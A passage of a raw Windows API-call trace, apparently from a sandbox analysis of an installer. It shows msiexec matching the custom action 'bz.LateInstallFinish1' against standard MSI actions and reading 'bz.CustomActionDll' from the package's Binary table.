lpString2="bz.LateInstallFinish1") returned 1 [0149.500] lstrcmpW (lpString1="FindRelatedProducts", lpString2="bz.LateInstallFinish1") returned 1 [0149.500] lstrcmpW (lpString1="GenerateScript", lpString2="bz.LateInstallFinish1") returned 1 [0149.500] lstrcmpW (lpString1="InstallAdminPackage", lpString2="bz.LateInstallFinish1") returned 1 [0149.500] lstrcmpW (lpString1="InstallFiles", lpString2="bz.LateInstallFinish1") returned 1 [0149.500] lstrcmpW (lpString1="InstallODBC", lpString2="bz.LateInstallFinish1") returned 1 [0149.500] lstrcmpW (lpString1="InstallServices", lpString2="bz.LateInstallFinish1") returned 1 [0149.500] lstrcmpW (lpString1="InstallSFPCatalogFile", lpString2="bz.LateInstallFinish1") returned 1 [0149.500] lstrcmpW (lpString1="InstallValidate", lpString2="bz.LateInstallFinish1") returned 1 [0149.500] lstrcmpW (lpString1="LaunchConditions", lpString2="bz.LateInstallFinish1") returned 1 [0149.500] lstrcmpW (lpString1="MigrateFeatureStates", lpString2="bz.LateInstallFinish1") returned 1 [0149.500] lstrcmpW (lpString1="MoveFiles", lpString2="bz.LateInstallFinish1") returned 1 [0149.500] lstrcmpW (lpString1="MsiPublishAssemblies", lpString2="bz.LateInstallFinish1") returned 1 [0149.500] lstrcmpW (lpString1="MsiUnpublishAssemblies", lpString2="bz.LateInstallFinish1") returned 1 [0149.500] lstrcmpW (lpString1="PatchFiles", lpString2="bz.LateInstallFinish1") returned 1 [0149.500] lstrcmpW (lpString1="ProcessComponents", lpString2="bz.LateInstallFinish1") returned 1 [0149.500] lstrcmpW (lpString1="PublishComponents", lpString2="bz.LateInstallFinish1") returned 1 [0149.500] lstrcmpW (lpString1="PublishFeatures", lpString2="bz.LateInstallFinish1") returned 1 [0149.500] lstrcmpW (lpString1="PublishProduct", lpString2="bz.LateInstallFinish1") returned 1 [0149.500] lstrcmpW (lpString1="RegisterClassInfo", lpString2="bz.LateInstallFinish1") returned 1 [0149.500] lstrcmpW (lpString1="RegisterComPlus", lpString2="bz.LateInstallFinish1") returned 1 [0149.500] lstrcmpW (lpString1="RegisterExtensionInfo", lpString2="bz.LateInstallFinish1") returned 1 [0149.500] lstrcmpW (lpString1="RegisterFonts", lpString2="bz.LateInstallFinish1") returned 1 [0149.500] lstrcmpW (lpString1="RegisterMIMEInfo", lpString2="bz.LateInstallFinish1") returned 1 [0149.500] lstrcmpW (lpString1="RegisterProduct", lpString2="bz.LateInstallFinish1") returned 1 [0149.501] lstrcmpW (lpString1="RegisterProgIdInfo", lpString2="bz.LateInstallFinish1") returned 1 [0149.501] lstrcmpW (lpString1="RegisterTypeLibraries", lpString2="bz.LateInstallFinish1") returned 1 [0149.501] lstrcmpW (lpString1="RegisterUser", lpString2="bz.LateInstallFinish1") returned 1 [0149.501] lstrcmpW (lpString1="RemoveDuplicateFiles", lpString2="bz.LateInstallFinish1") returned 1 [0149.501] lstrcmpW (lpString1="RemoveEnvironmentStrings", lpString2="bz.LateInstallFinish1") returned 1 [0149.501] lstrcmpW (lpString1="RemoveExistingProducts", lpString2="bz.LateInstallFinish1") returned 1 [0149.501] lstrcmpW (lpString1="RemoveFiles", lpString2="bz.LateInstallFinish1") returned 1 [0149.501] lstrcmpW (lpString1="RemoveFolders", lpString2="bz.LateInstallFinish1") returned 1 [0149.501] lstrcmpW (lpString1="RemoveIniValues", lpString2="bz.LateInstallFinish1") returned 1 [0149.501] lstrcmpW (lpString1="RemoveODBC", lpString2="bz.LateInstallFinish1") returned 1 [0149.501] lstrcmpW (lpString1="RemoveRegistryValues", lpString2="bz.LateInstallFinish1") returned 1 [0149.501] lstrcmpW (lpString1="RemoveShortcuts", lpString2="bz.LateInstallFinish1") returned 1 [0149.501] lstrcmpW (lpString1="RMCCPSearch", lpString2="bz.LateInstallFinish1") returned 1 [0149.501] lstrcmpW (lpString1="Rollback", lpString2="bz.LateInstallFinish1") returned 1 [0149.501] lstrcmpW (lpString1="RollbackCleanup", lpString2="bz.LateInstallFinish1") returned 1 [0149.501] lstrcmpW (lpString1="SelfRegModules", lpString2="bz.LateInstallFinish1") returned 1 [0149.501] lstrcmpW (lpString1="SelfUnregModules", lpString2="bz.LateInstallFinish1") returned 1 [0149.501] lstrcmpW (lpString1="SetODBCFolders", lpString2="bz.LateInstallFinish1") returned 1 [0149.501] lstrcmpW (lpString1="StartServices", lpString2="bz.LateInstallFinish1") returned 1 [0149.501] lstrcmpW (lpString1="StopServices", lpString2="bz.LateInstallFinish1") returned 1 [0149.501] lstrcmpW (lpString1="UnmoveFiles", lpString2="bz.LateInstallFinish1") returned 1 [0149.501] lstrcmpW (lpString1="UnpublishComponents", lpString2="bz.LateInstallFinish1") returned 1 [0149.501] lstrcmpW (lpString1="UnpublishFeatures", lpString2="bz.LateInstallFinish1") returned 1 [0149.501] lstrcmpW (lpString1="UnpublishProduct", lpString2="bz.LateInstallFinish1") returned 1 [0149.501] lstrcmpW (lpString1="UnregisterClassInfo", lpString2="bz.LateInstallFinish1") returned 1 [0149.501] lstrcmpW (lpString1="UnregisterComPlus", lpString2="bz.LateInstallFinish1") returned 1 [0149.501] lstrcmpW (lpString1="UnregisterExtensionInfo", lpString2="bz.LateInstallFinish1") returned 1 [0149.501] lstrcmpW (lpString1="UnregisterFonts", lpString2="bz.LateInstallFinish1") returned 1 [0149.502] lstrcmpW (lpString1="UnregisterMIMEInfo", lpString2="bz.LateInstallFinish1") returned 1 [0149.502] lstrcmpW (lpString1="UnregisterProgIdInfo", lpString2="bz.LateInstallFinish1") returned 1 [0149.502] lstrcmpW (lpString1="UnregisterTypeLibraries", lpString2="bz.LateInstallFinish1") returned 1 [0149.502] lstrcmpW (lpString1="WriteEnvironmentStrings", lpString2="bz.LateInstallFinish1") returned 1 [0149.502] lstrcmpW (lpString1="WriteIniValues", lpString2="bz.LateInstallFinish1") returned 1 [0149.502] lstrcmpW (lpString1="WriteRegistryValues", lpString2="bz.LateInstallFinish1") returned 1 [0149.502] lstrcmpW (lpString1="ShutdownApplications", lpString2="bz.LateInstallFinish1") returned 1 [0149.502] lstrcmpW (lpString1="ConfigureServices", lpString2="bz.LateInstallFinish1") returned 1 [0149.502] lstrcmpW (lpString1="ConfigureServicesUnsupoortedOS", lpString2="bz.LateInstallFinish1") returned 1 [0149.502] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x2a0)) [0149.502] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.502] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x2a0)) [0149.502] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.502] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x2a0)) [0149.502] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.502] memcpy (in: _Dst=0x10ce2a0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10ce2a0) returned 0x10ce2a0 [0149.502] memcpy (in: _Dst=0x29f80be, _Src=0x10ce2a0, _Size=0x10 | out: _Dst=0x29f80be) returned 0x29f80be [0149.502] memcpy (in: _Dst=0x29f80ce, _Src=0x2104b8a, _Size=0x4 | out: _Dst=0x29f80ce) returned 0x29f80ce [0149.502] memcpy (in: _Dst=0x29f80d2, _Src=0x2104b90, _Size=0x2 | out: _Dst=0x29f80d2) returned 0x29f80d2 [0149.503] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.504] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x2a0)) [0149.504] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.504] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x2a0)) [0149.504] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.504] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x2a0)) [0149.504] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.504] memcpy (in: _Dst=0x10ce2a0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10ce2a0) returned 0x10ce2a0 [0149.504] memcpy (in: _Dst=0x29f80ca, _Src=0x10ce2a0, _Size=0x10 | out: _Dst=0x29f80ca) returned 0x29f80ca [0149.504] memcpy (in: _Dst=0x29f80da, _Src=0x376446, _Size=0x4 | out: _Dst=0x29f80da) returned 0x29f80da [0149.504] memcpy (in: _Dst=0x29f80de, _Src=0x37644c, _Size=0x2 | out: _Dst=0x29f80de) returned 0x29f80de [0149.504] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.506] lstrlenW (lpString="SELECT `Action`,`Type`,`Source`,`Target`, NULL, `ExtendedType` FROM `CustomAction` WHERE `Action` = '%s'") returned 104 [0149.506] lstrlenW (lpString="bz.LateInstallFinish1") returned 21 [0149.506] _vsnwprintf (in: _Buffer=0x21c47b0, _BufferCount=0x7d, _Format="SELECT `Action`,`Type`,`Source`,`Target`, NULL, `ExtendedType` FROM `CustomAction` WHERE `Action` = '%s'", _ArgList=0x10ce418 | out: _Buffer="SELECT `Action`,`Type`,`Source`,`Target`, NULL, `ExtendedType` FROM `CustomAction` WHERE `Action` = 'bz.LateInstallFinish1'") returned 123 [0149.506] GlobalLock (hMem=0xf40228) returned 0x3cc0f0 [0149.506] lstrcmpiW (lpString1="SELECT", lpString2="SELECT") returned 0 [0149.506] lstrcmpiW (lpString1="SELECT", lpString2="NULL") returned 1 [0149.506] lstrcmpiW (lpString1="FROM", lpString2="NULL") returned -1 [0149.506] lstrcmpiW (lpString1="AS", lpString2="NULL") returned -1 [0149.506] lstrcmpiW (lpString1="WHERE", lpString2="NULL") returned 1 [0149.506] lstrcmpiW (lpString1="NULL", lpString2="NULL") returned 0 [0149.506] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0149.506] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0149.506] lstrlenW (lpString="CustomAction") returned 12 [0149.506] IStorage:RemoteOpenStream (in: This=0x2fcb20, pwcsName="䡀䘌䗶䐲䆊䌷䑲", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10ce060, ppstm=0x0 | out: ppstm=0x0) returned 0x0 [0149.506] IStream:Stat (in: This=0x32f000, pstatstg=0x10cdfc0, grfStatFlag=0x1 | out: pstatstg=0x10cdfc0) returned 0x0 [0149.506] GlobalLock (hMem=0xf40208) returned 0x37b01a0 [0149.506] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x3728bc, cb=0x400, pcbRead=0x372cbc | out: pv=0x3728bc*=0xae, pcbRead=0x372cbc*=0xb4) returned 0x0 [0149.507] memcpy (in: _Dst=0x37b01a4, _Src=0x3728bc, _Size=0x2 | out: _Dst=0x37b01a4) returned 0x37b01a4 [0149.507] memcpy (in: _Dst=0x37b01bc, _Src=0x3728be, _Size=0x2 | out: _Dst=0x37b01bc) returned 0x37b01bc [0149.507] memcpy (in: _Dst=0x37b01d4, _Src=0x3728c0, _Size=0x2 | out: _Dst=0x37b01d4) returned 0x37b01d4 [0149.507] memcpy (in: _Dst=0x37b01ec, _Src=0x3728c2, _Size=0x2 | out: _Dst=0x37b01ec) returned 0x37b01ec [0149.507] memcpy (in: _Dst=0x37b0204, _Src=0x3728c4, _Size=0x2 | out: _Dst=0x37b0204) returned 0x37b0204 [0149.507] memcpy (in: _Dst=0x37b021c, _Src=0x3728c6, _Size=0x2 | out: _Dst=0x37b021c) returned 0x37b021c [0149.507] memcpy (in: _Dst=0x37b0234, _Src=0x3728c8, _Size=0x2 | out: _Dst=0x37b0234) returned 0x37b0234 [0149.507] memcpy (in: _Dst=0x37b024c, _Src=0x3728ca, _Size=0x2 | out: _Dst=0x37b024c) returned 0x37b024c [0149.507] memcpy (in: _Dst=0x37b0264, _Src=0x3728cc, _Size=0x2 | out: _Dst=0x37b0264) returned 0x37b0264 [0149.507] memcpy (in: _Dst=0x37b027c, _Src=0x3728ce, _Size=0x2 | out: _Dst=0x37b027c) returned 0x37b027c [0149.507] memcpy (in: _Dst=0x37b0294, _Src=0x3728d0, _Size=0x2 | out: _Dst=0x37b0294) returned 0x37b0294 [0149.507] memcpy (in: _Dst=0x37b02ac, _Src=0x3728d2, _Size=0x2 | out: _Dst=0x37b02ac) returned 0x37b02ac [0149.507] memcpy (in: _Dst=0x37b02c4, _Src=0x3728d4, _Size=0x2 | out: _Dst=0x37b02c4) returned 0x37b02c4 [0149.507] memcpy (in: _Dst=0x37b02dc, _Src=0x3728d6, _Size=0x2 | out: _Dst=0x37b02dc) returned 0x37b02dc [0149.507] memcpy (in: _Dst=0x37b02f4, _Src=0x3728d8, _Size=0x2 | out: _Dst=0x37b02f4) returned 0x37b02f4 [0149.507] memcpy (in: _Dst=0x10ce138, _Src=0x3728da, _Size=0x2 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.507] memcpy (in: _Dst=0x10ce138, _Src=0x3728dc, _Size=0x2 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.507] memcpy (in: _Dst=0x10ce138, _Src=0x3728de, _Size=0x2 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.507] memcpy (in: _Dst=0x10ce138, _Src=0x3728e0, _Size=0x2 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.507] memcpy (in: _Dst=0x10ce138, _Src=0x3728e2, _Size=0x2 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.507] memcpy (in: _Dst=0x10ce138, _Src=0x3728e4, _Size=0x2 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.507] memcpy (in: _Dst=0x10ce138, _Src=0x3728e6, _Size=0x2 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.507] memcpy (in: _Dst=0x10ce138, _Src=0x3728e8, _Size=0x2 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.507] memcpy (in: _Dst=0x10ce138, _Src=0x3728ea, _Size=0x2 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.507] memcpy (in: _Dst=0x10ce138, _Src=0x3728ec, _Size=0x2 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.507] memcpy (in: _Dst=0x10ce138, _Src=0x3728ee, _Size=0x2 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.507] memcpy (in: _Dst=0x10ce138, _Src=0x3728f0, _Size=0x2 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.507] memcpy (in: _Dst=0x10ce138, _Src=0x3728f2, _Size=0x2 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.507] memcpy (in: _Dst=0x10ce138, _Src=0x3728f4, _Size=0x2 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.507] memcpy (in: _Dst=0x10ce138, _Src=0x3728f6, _Size=0x2 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.507] memcpy (in: _Dst=0x37b01ac, _Src=0x3728f8, _Size=0x2 | out: _Dst=0x37b01ac) returned 0x37b01ac [0149.507] memcpy (in: _Dst=0x37b01c4, _Src=0x3728fa, _Size=0x2 | out: _Dst=0x37b01c4) returned 0x37b01c4 [0149.507] memcpy (in: _Dst=0x37b01dc, _Src=0x3728fc, _Size=0x2 | out: _Dst=0x37b01dc) returned 0x37b01dc [0149.508] memcpy (in: _Dst=0x37b01f4, _Src=0x3728fe, _Size=0x2 | out: _Dst=0x37b01f4) returned 0x37b01f4 [0149.508] memcpy (in: _Dst=0x37b020c, _Src=0x372900, _Size=0x2 | out: _Dst=0x37b020c) returned 0x37b020c [0149.508] memcpy (in: _Dst=0x37b0224, _Src=0x372902, _Size=0x2 | out: _Dst=0x37b0224) returned 0x37b0224 [0149.508] memcpy (in: _Dst=0x37b023c, _Src=0x372904, _Size=0x2 | out: _Dst=0x37b023c) returned 0x37b023c [0149.508] memcpy (in: _Dst=0x37b0254, _Src=0x372906, _Size=0x2 | out: _Dst=0x37b0254) returned 0x37b0254 [0149.508] memcpy (in: _Dst=0x37b026c, _Src=0x372908, _Size=0x2 | out: _Dst=0x37b026c) returned 0x37b026c [0149.508] memcpy (in: _Dst=0x37b0284, _Src=0x37290a, _Size=0x2 | out: _Dst=0x37b0284) returned 0x37b0284 [0149.508] memcpy (in: _Dst=0x37b029c, _Src=0x37290c, _Size=0x2 | out: _Dst=0x37b029c) returned 0x37b029c [0149.508] memcpy (in: _Dst=0x37b02b4, _Src=0x37290e, _Size=0x2 | out: _Dst=0x37b02b4) returned 0x37b02b4 [0149.508] memcpy (in: _Dst=0x37b02cc, _Src=0x372910, _Size=0x2 | out: _Dst=0x37b02cc) returned 0x37b02cc [0149.508] memcpy (in: _Dst=0x37b02e4, _Src=0x372912, _Size=0x2 | out: _Dst=0x37b02e4) returned 0x37b02e4 [0149.508] memcpy (in: _Dst=0x37b02fc, _Src=0x372914, _Size=0x2 | out: _Dst=0x37b02fc) returned 0x37b02fc [0149.508] memcpy (in: _Dst=0x37b01b0, _Src=0x372916, _Size=0x2 | out: _Dst=0x37b01b0) returned 0x37b01b0 [0149.508] memcpy (in: _Dst=0x37b01c8, _Src=0x372918, _Size=0x2 | out: _Dst=0x37b01c8) returned 0x37b01c8 [0149.508] memcpy (in: _Dst=0x37b01e0, _Src=0x37291a, _Size=0x2 | out: _Dst=0x37b01e0) returned 0x37b01e0 [0149.508] memcpy (in: _Dst=0x37b01f8, _Src=0x37291c, _Size=0x2 | out: _Dst=0x37b01f8) returned 0x37b01f8 [0149.508] memcpy (in: _Dst=0x37b0210, _Src=0x37291e, _Size=0x2 | out: _Dst=0x37b0210) returned 0x37b0210 [0149.508] memcpy (in: _Dst=0x37b0228, _Src=0x372920, _Size=0x2 | out: _Dst=0x37b0228) returned 0x37b0228 [0149.508] memcpy (in: _Dst=0x37b0240, _Src=0x372922, _Size=0x2 | out: _Dst=0x37b0240) returned 0x37b0240 [0149.508] memcpy (in: _Dst=0x37b0258, _Src=0x372924, _Size=0x2 | out: _Dst=0x37b0258) returned 0x37b0258 [0149.508] memcpy (in: _Dst=0x37b0270, _Src=0x372926, _Size=0x2 | out: _Dst=0x37b0270) returned 0x37b0270 [0149.508] memcpy (in: _Dst=0x37b0288, _Src=0x372928, _Size=0x2 | out: _Dst=0x37b0288) returned 0x37b0288 [0149.508] memcpy (in: _Dst=0x37b02a0, _Src=0x37292a, _Size=0x2 | out: _Dst=0x37b02a0) returned 0x37b02a0 [0149.508] memcpy (in: _Dst=0x37b02b8, _Src=0x37292c, _Size=0x2 | out: _Dst=0x37b02b8) returned 0x37b02b8 [0149.508] memcpy (in: _Dst=0x37b02d0, _Src=0x37292e, _Size=0x2 | out: _Dst=0x37b02d0) returned 0x37b02d0 [0149.508] memcpy (in: _Dst=0x37b02e8, _Src=0x372930, _Size=0x2 | out: _Dst=0x37b02e8) returned 0x37b02e8 [0149.508] memcpy (in: _Dst=0x37b0300, _Src=0x372932, _Size=0x2 | out: _Dst=0x37b0300) returned 0x37b0300 [0149.508] memcpy (in: _Dst=0x10ce138, _Src=0x372934, _Size=0x4 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.508] memcpy (in: _Dst=0x10ce138, _Src=0x372938, _Size=0x4 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.508] memcpy (in: _Dst=0x10ce138, _Src=0x37293c, _Size=0x4 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.508] memcpy (in: _Dst=0x10ce138, _Src=0x372940, _Size=0x4 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.508] memcpy (in: _Dst=0x10ce138, _Src=0x372944, _Size=0x4 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.508] memcpy (in: _Dst=0x10ce138, _Src=0x372948, _Size=0x4 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.508] memcpy (in: _Dst=0x10ce138, _Src=0x37294c, _Size=0x4 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.509] memcpy (in: _Dst=0x10ce138, _Src=0x372950, _Size=0x4 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.509] memcpy (in: _Dst=0x10ce138, _Src=0x372954, _Size=0x4 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.509] memcpy (in: _Dst=0x10ce138, _Src=0x372958, _Size=0x4 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.509] memcpy (in: _Dst=0x10ce138, _Src=0x37295c, _Size=0x4 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.509] memcpy (in: _Dst=0x10ce138, _Src=0x372960, _Size=0x4 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.509] memcpy (in: _Dst=0x10ce138, _Src=0x372964, _Size=0x4 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.509] memcpy (in: _Dst=0x10ce138, _Src=0x372968, _Size=0x4 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.509] memcpy (in: _Dst=0x10ce138, _Src=0x37296c, _Size=0x4 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.509] IUnknown:Release (This=0x32f000) returned 0x0 [0149.509] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0149.509] lstrcmpiW (lpString1="SELECT", lpString2="WHERE") returned -1 [0149.509] lstrcmpiW (lpString1="FROM", lpString2="WHERE") returned -1 [0149.509] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0149.509] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0149.509] lstrcmpiW (lpString1="SELECT", lpString2="WHERE") returned -1 [0149.509] lstrcmpiW (lpString1="FROM", lpString2="WHERE") returned -1 [0149.509] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0149.509] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0149.509] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0149.509] lstrlenW (lpString="Action") returned 6 [0149.509] lstrcmpiW (lpString1="SELECT", lpString2="SELECT") returned 0 [0149.509] lstrcmpiW (lpString1="SELECT", lpString2="NULL") returned 1 [0149.509] lstrcmpiW (lpString1="FROM", lpString2="NULL") returned -1 [0149.509] lstrcmpiW (lpString1="AS", lpString2="NULL") returned -1 [0149.509] lstrcmpiW (lpString1="WHERE", lpString2="NULL") returned 1 [0149.509] lstrcmpiW (lpString1="NULL", lpString2="NULL") returned 0 [0149.510] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0149.510] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0149.510] lstrlenW (lpString="Action") returned 6 [0149.510] lstrcmpiW (lpString1="SELECT", lpString2="NULL") returned 1 [0149.510] lstrcmpiW (lpString1="FROM", lpString2="NULL") returned -1 [0149.510] lstrcmpiW (lpString1="AS", lpString2="NULL") returned -1 [0149.510] lstrcmpiW (lpString1="WHERE", lpString2="NULL") returned 1 [0149.510] lstrcmpiW (lpString1="NULL", lpString2="NULL") returned 0 [0149.510] lstrlenW (lpString="NULL") returned 4 [0149.510] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0149.510] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0149.510] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0149.510] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0149.510] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0149.510] GlobalUnlock (hMem=0xf40228) returned 0 [0149.510] GlobalUnlock (hMem=0xf40208) returned 0 [0149.510] _vsnwprintf (in: _Buffer=0x10ce540, _BufferCount=0xff, _Format="SELECT `Data` FROM `Binary` WHERE `Name`='%s'", _ArgList=0x10ce4b8 | out: _Buffer="SELECT `Data` FROM `Binary` WHERE `Name`='bz.CustomActionDll'") returned 61 [0149.511] GlobalLock (hMem=0xf40208) returned 0x3cc0f0 [0149.511] lstrcmpiW (lpString1="SELECT", lpString2="SELECT") returned 0 [0149.511] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0149.511] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0149.511] lstrlenW (lpString="Binary") returned 6 [0149.511] IStorage:RemoteOpenStream (in: This=0x2fcb20, pwcsName="䡀䌋䄱䜵", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10ce100, ppstm=0x0 | out: ppstm=0x0) returned 0x0 [0149.511] IStream:Stat (in: This=0x32e790, pstatstg=0x10ce060, grfStatFlag=0x1 | out: pstatstg=0x10ce060) returned 0x0 [0149.511] GlobalLock (hMem=0xf40228) returned 0x3c2880 [0149.511] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x3728bc, cb=0x400, pcbRead=0x372cbc | out: pv=0x3728bc*=0xa8, pcbRead=0x372cbc*=0x8) returned 0x0 [0149.511] memcpy (in: _Dst=0x3c2884, _Src=0x3728bc, _Size=0x2 | out: _Dst=0x3c2884) returned 0x3c2884 [0149.511] memcpy (in: _Dst=0x3c2890, _Src=0x3728be, _Size=0x2 | out: _Dst=0x3c2890) returned 0x3c2890 [0149.511] memcpy (in: _Dst=0x10ce1d8, _Src=0x3728c0, _Size=0x2 | out: _Dst=0x10ce1d8) returned 0x10ce1d8 [0149.511] memcpy (in: _Dst=0x10ce1d8, _Src=0x3728c2, _Size=0x2 | out: _Dst=0x10ce1d8) returned 0x10ce1d8 [0149.511] IUnknown:Release (This=0x32e790) returned 0x0 [0149.511] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0149.511] lstrcmpiW (lpString1="SELECT", lpString2="WHERE") returned -1 [0149.511] lstrcmpiW (lpString1="FROM", lpString2="WHERE") returned -1 [0149.511] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0149.511] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0149.512] lstrcmpiW (lpString1="SELECT", lpString2="WHERE") returned -1 [0149.512] lstrcmpiW (lpString1="FROM", lpString2="WHERE") returned -1 [0149.512] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0149.512] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0149.512] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0149.512] lstrlenW (lpString="Name") returned 4 [0149.512] lstrcmpiW (lpString1="SELECT", lpString2="SELECT") returned 0 [0149.512] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0149.512] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0149.512] lstrlenW (lpString="Data") returned 4 [0149.512] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0149.512] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0149.512] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0149.512] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0149.512] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0149.512] IStorage:RemoteOpenStream (in: This=0x2fcb20, pwcsName="䌋䄱䜵䅾䞽䘌䗶䐲䆊䌷䑲䏍䠯", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10ce2b0, ppstm=0x380190 | out: ppstm=0x380190*=0x7fef7acfc30) returned 0x0 [0149.513] IStream:Stat (in: This=0x32f000, pstatstg=0x10ce210, grfStatFlag=0x1 | out: pstatstg=0x10ce210) returned 0x0 [0149.513] GetEnvironmentVariableW (in: lpName="MsiBreak", lpBuffer=0x10ce230, nSize=0x105 | out: lpBuffer="") returned 0x0 [0149.514] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.515] GetCurrentThreadId () returned 0xf50 [0149.515] GetCurrentThreadId () returned 0xf50 [0149.515] SetEvent (hEvent=0x170) returned 